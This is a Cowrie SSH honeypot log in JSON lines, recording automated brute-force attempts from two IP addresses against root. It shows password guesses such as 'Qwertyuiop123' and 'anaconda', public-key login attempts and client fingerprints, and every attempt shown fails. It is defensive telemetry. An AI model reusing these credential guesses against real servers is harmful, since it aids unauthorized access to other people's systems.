{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:17.001658Z","src_ip":"60.165.124.241","session":"0c2dd285325f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hernandez","message":"login attempt [root/hernandez] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:18.490368Z","src_ip":"60.165.124.241","session":"0c2dd285325f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:19.749494Z","src_ip":"60.165.124.241","session":"0c2dd285325f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33634,"dst_ip":"10.17.0.5","dst_port":22,"session":"26da49217de0","protocol":"ssh","message":"New connection: 60.165.124.241:33634 (10.17.0.5:22) [session: 26da49217de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:19.983370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:19.992509Z","src_ip":"60.165.124.241","session":"26da49217de0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:20.239701Z","src_ip":"60.165.124.241","session":"26da49217de0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwertyuiop123","message":"login attempt [root/Qwertyuiop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:20.989121Z","src_ip":"60.165.124.241","session":"26da49217de0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:22.237740Z","src_ip":"60.165.124.241","session":"26da49217de0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36558,"dst_ip":"10.17.0.5","dst_port":22,"session":"31dd44e92466","protocol":"ssh","message":"New connection: 60.165.124.241:36558 (10.17.0.5:22) [session: 31dd44e92466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:22.468432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:22.473618Z","src_ip":"60.165.124.241","session":"31dd44e92466","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:22.709759Z","src_ip":"60.165.124.241","session":"31dd44e92466","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"interser123","message":"login attempt [root/interser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:23.427004Z","src_ip":"60.165.124.241","session":"31dd44e92466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:24.666526Z","src_ip":"60.165.124.241","session":"31dd44e92466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39686,"dst_ip":"10.17.0.5","dst_port":22,"session":"6970000dcf34","protocol":"ssh","message":"New connection: 60.165.124.241:39686 (10.17.0.5:22) [session: 6970000dcf34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:24.900068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:24.905293Z","src_ip":"60.165.124.241","session":"6970000dcf34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:25.147309Z","src_ip":"60.165.124.241","session":"6970000dcf34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anaconda","message":"login attempt [root/anaconda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:26.549630Z","src_ip":"60.165.124.241","session":"6970000dcf34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:28.939134Z","src_ip":"60.165.124.241","session":"6970000dcf34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44570,"dst_ip":"10.17.0.5","dst_port":22,"session":"077dcddb9c13","protocol":"ssh","message":"New connection: 60.165.124.241:44570 (10.17.0.5:22) [session: 077dcddb9c13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:29.213712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:29.218733Z","src_ip":"60.165.124.241","session":"077dcddb9c13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:29.476410Z","src_ip":"60.165.124.241","session":"077dcddb9c13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.239.96.154","src_port":53874,"dst_ip":"10.17.0.5","dst_port":22,"session":"7902df89e22b","protocol":"ssh","message":"New connection: 23.239.96.154:53874 (10.17.0.5:22) [session: 7902df89e22b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:29.825267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:29.829861Z","src_ip":"23.239.96.154","session":"7902df89e22b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:29.889445Z","src_ip":"23.239.96.154","session":"7902df89e22b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:42:0c:14:94:da:87:28:13:10:90:8e:90:d5:aa:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNeAcN/hmo4/lE05+o4SMis2j5U0RAtboyslyjWuYC2bsMUsYWCEGiXtjwHt7kduYZqsFcB65rmYo5rI2RWP6QqsgdwPjoqOTphTbgLQo3DvmJrT65Vj6y9aP415HsG4qAg71z9QxX+xV1yRzUwgtIe4RNdGZCDZchCJmhmTfoq/w4y1B6zXzhrRXFTlM68ZE8wRKg0H9Vbr2wYFVh2Nyw07W8VIKO+2V48+DoGSJq3NMQroWnX50bCl2M+grIN8awkG8ARyGn1Q4I7lf5+SIEmP5qzyxZPt7FrnN8buDmYP68x6YluByrGJWH1shffims+1QxYckQ3++x55q5OKfF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:42:0c:14:94:da:87:28:13:10:90:8e:90:d5:aa:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:30.165016Z","src_ip":"23.239.96.154","session":"7902df89e22b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:42:0c:14:94:da:87:28:13:10:90:8e:90:d5:aa:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNeAcN/hmo4/lE05+o4SMis2j5U0RAtboyslyjWuYC2bsMUsYWCEGiXtjwHt7kduYZqsFcB65rmYo5rI2RWP6QqsgdwPjoqOTphTbgLQo3DvmJrT65Vj6y9aP415HsG4qAg71z9QxX+xV1yRzUwgtIe4RNdGZCDZchCJmhmTfoq/w4y1B6zXzhrRXFTlM68ZE8wRKg0H9Vbr2wYFVh2Nyw07W8VIKO+2V48+DoGSJq3NMQroWnX50bCl2M+grIN8awkG8ARyGn1Q4I7lf5+SIEmP5qzyxZPt7FrnN8buDmYP68x6YluByrGJWH1shffims+1QxYckQ3++x55q5OKfF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:30.168503Z","src_ip":"23.239.96.154","session":"7902df89e22b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:f1:e6:7c:b1:8f:47:f3:05:f9:33:9d:40:b9:ab:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCssuma7ttNj+zac2GuXfsjOHfl8flnkXIU06W+DDVHYJj1joG6WUzLeVu202yYI9/9jmKZ8cXo9D1Kh10PDlzVywb6kVUm50NO3Gx1ZYb8mWYEHlIP93e9R2AtSzH8TYUaCeVB0j8Oifny3cceOjXrQo9ZWrHfbkIzKO17mKOTtMfVhKGPtBsY2Hr9/5MVp8o4aQTZx00N0SHTrldxEWlfWdZrNWx85ikKK9F/zUb7vnAZOWgrKkyvAzAD4WX3BaPLoHG6O6GOO5AppQEIUm1JRsUH1x8jAVCMW/IXruMWVWIRXO8SfO2OgjG42SJ9m8gkxq6UMbVSkwFuLxShjuqN2dEjk2lbbXdULSXYIoBfh0Epf14rh70N1f3R9mOEkzUPHmj4Oi1CT/3wcMukDUBQ+MZjxJJx52bFiOaeDVTeFkw0yNds8y3jkifDVH4Yilh73wzeCChgbj64cTSSQ5KCzBQ3JytUvPrWr2tKcxVVWLZ2zsp8YWARePyTpd/61BwahLvdLQaFrj/9CgLdUZZyrP5FB2PBfDJ+bQoFOdXuhmvvbKQQsYz8GhHr+nVieoAE+3sPdZb+w2uNzKnZG7qlT10UtRuWCEtKfLTvTHXE4imifpxkjw7c2lXtKMP6FklWDgV+ns6PeXVB5EmkQ99cHSl1UsE8ax1to/7WQUKN9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:f1:e6:7c:b1:8f:47:f3:05:f9:33:9d:40:b9:ab:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:30.228347Z","src_ip":"23.239.96.154","session":"7902df89e22b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:f1:e6:7c:b1:8f:47:f3:05:f9:33:9d:40:b9:ab:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCssuma7ttNj+zac2GuXfsjOHfl8flnkXIU06W+DDVHYJj1joG6WUzLeVu202yYI9/9jmKZ8cXo9D1Kh10PDlzVywb6kVUm50NO3Gx1ZYb8mWYEHlIP93e9R2AtSzH8TYUaCeVB0j8Oifny3cceOjXrQo9ZWrHfbkIzKO17mKOTtMfVhKGPtBsY2Hr9/5MVp8o4aQTZx00N0SHTrldxEWlfWdZrNWx85ikKK9F/zUb7vnAZOWgrKkyvAzAD4WX3BaPLoHG6O6GOO5AppQEIUm1JRsUH1x8jAVCMW/IXruMWVWIRXO8SfO2OgjG42SJ9m8gkxq6UMbVSkwFuLxShjuqN2dEjk2lbbXdULSXYIoBfh0Epf14rh70N1f3R9mOEkzUPHmj4Oi1CT/3wcMukDUBQ+MZjxJJx52bFiOaeDVTeFkw0yNds8y3jkifDVH4Yilh73wzeCChgbj64cTSSQ5KCzBQ3JytUvPrWr2tKcxVVWLZ2zsp8YWARePyTpd/61BwahLvdLQaFrj/9CgLdUZZyrP5FB2PBfDJ+bQoFOdXuhmvvbKQQsYz8GhHr+nVieoAE+3sPdZb+w2uNzKnZG7qlT10UtRuWCEtKfLTvTHXE4imifpxkjw7c2lXtKMP6FklWDgV+ns6PeXVB5EmkQ99cHSl1UsE8ax1to/7WQUKN9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:30.232573Z","src_ip":"23.239.96.154","session":"7902df89e22b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:dc:25:ba:aa:9d:5f:c1:f3:a6:9c:7d:cd:66:23:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxIpZdyJ3no0bzIU2XzI8N7z8mQKoVxqN2e3bgmn9TJanUkXl4aLIx5t6oxFziU3IW0OIk0NsyV8k5BX8+8do9/mgSdQB/P6ZC5FvjRmqHaKbHgANMyUk7Xvx24DHHb2Q2jKCzegmuoyBVf/H8nHzYwf+s23DexcUIL3wJ+a/vgU5F1wkK8Gtt5v0hv3lQhIhi5wvaQwDtVFoh3XBLMRE8f43gkdpAeZjSnQZOktmjMWo/6QXJLsXE1XCJwtu342nD6FTKbKIWZVKIvPHGkIYypLu2uINHGtkE+Ky0V0FC2YEWwO0omgcKUYsT9wH6I5YoXdY5X97US09eyyzYP4v/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:dc:25:ba:aa:9d:5f:c1:f3:a6:9c:7d:cd:66:23:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:30.292980Z","src_ip":"23.239.96.154","session":"7902df89e22b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:dc:25:ba:aa:9d:5f:c1:f3:a6:9c:7d:cd:66:23:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxIpZdyJ3no0bzIU2XzI8N7z8mQKoVxqN2e3bgmn9TJanUkXl4aLIx5t6oxFziU3IW0OIk0NsyV8k5BX8+8do9/mgSdQB/P6ZC5FvjRmqHaKbHgANMyUk7Xvx24DHHb2Q2jKCzegmuoyBVf/H8nHzYwf+s23DexcUIL3wJ+a/vgU5F1wkK8Gtt5v0hv3lQhIhi5wvaQwDtVFoh3XBLMRE8f43gkdpAeZjSnQZOktmjMWo/6QXJLsXE1XCJwtu342nD6FTKbKIWZVKIvPHGkIYypLu2uINHGtkE+Ky0V0FC2YEWwO0omgcKUYsT9wH6I5YoXdY5X97US09eyyzYP4v/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:30.297208Z","src_ip":"23.239.96.154","session":"7902df89e22b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:27:8f:43:46:c7:06:78:c5:f4:91:b1:5d:2c:fd:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+WbOQO7NVbH4bDm2rnxpL9BMYX5a6kgrhuRjJpuWlopgsvG1ZnoN3DeekUv+OsDGsV/nAYgaIS4A4LYpObJ5UUjEWKff/G0JlXY9qnX7J0TaFljaVCBkU3EVfQPXQC0RNMeBAKHVkp0d+f1WD9Coa/E3zWdHpl0S6H2GifH4mKI64VJvANHuCYYmucnuj1otzSWeRRmKghuM7JxhJ9g0V6ktS3ecMYUoTX4tj4vVGVc5cBptiT6aK+sKv7yr1MxO0FX1bGtCSrtxYXnFZlyRsFpW59yLrhhMo6Pw64hMfB3yAvo79VMA3FdO/dv7gjNdpdJ33tSYke0tqMnthtq3l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:27:8f:43:46:c7:06:78:c5:f4:91:b1:5d:2c:fd:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:30.359447Z","src_ip":"23.239.96.154","session":"7902df89e22b","protocol":"ssh"}
